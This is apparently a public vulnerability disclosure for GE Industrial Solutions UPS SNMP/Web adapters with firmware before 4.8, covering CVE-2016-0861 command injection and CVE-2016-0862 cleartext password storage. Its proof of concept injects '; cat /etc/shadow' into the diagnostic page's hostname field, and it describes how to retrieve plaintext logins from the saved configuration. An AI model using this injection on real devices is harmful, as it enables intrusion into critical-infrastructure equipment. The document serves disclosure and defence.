GE Industrial Solutions UPS SNMP Adapter < 4.8 - Multiple Vulnerabilities

# Exploit Title: [GE Industrial Solutions - UPS SNMP Adapter Command

Injection and Clear-text Storage of Sensitive Information Vulnerabilities]

# Discovered by: Karn Ganeshen

# Vendor Homepage: [http://www.geindustrial.com/]

# Versions Reported: [All SNMP/Web Interface cards with firmware version

prior to 4.8 manufactured by GE Industrial Solutions.]

# CVE-IDs: [CVE-2016-0861 + CVE-2016-0862]



*GE Advisory: *

http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf





*ICS-CERT Advisory:*https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02



*About GE*



GE is a US-based company that maintains offices in several countries around

the world.



The affected product, SNMP/Web Interface adapter, is a web server designed

to present information about the Uninterruptible Power Supply (UPS).

According to GE, the SNMP/Web Interface is deployed across several sectors

including Critical Manufacturing and Energy. GE estimates that these

products are used worldwide.



*Affected Products*



• All SNMP/Web Interface cards with firmware version prior to 4.8

manufactured by GE Industrial Solutions.







*VULNERABILITY OVERVIEW*

A





*COMMAND INJECTIONCVE-2016-0861*

Device application services run as (root) privileged user, and does not

perform strict input validation. This allows an authenticated user to

execute any system commands on the system.



Vulnerable function:

http://IP/dig.asp <http://ip/dig.asp>



Vulnerable parameter:

Hostname/IP address





*PoC:*

In the Hostname/IP address input, enter:

; cat /etc/shadow



Output

root:<hash>:0:0:root:/root:/bin/sh

<...other system users...>

ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh

root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh



B





*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*

File contains sensitive account information stored in cleartext. All users,

including non-admins, can view/access device's configuration, via Menu

option -> Save -> Settings.



The application stores all information in clear-text, including *all user

logins and clear-text passwords*.

-- 

Best Regards,

Karn Ganeshen

ipositivesecurity.blogspot.in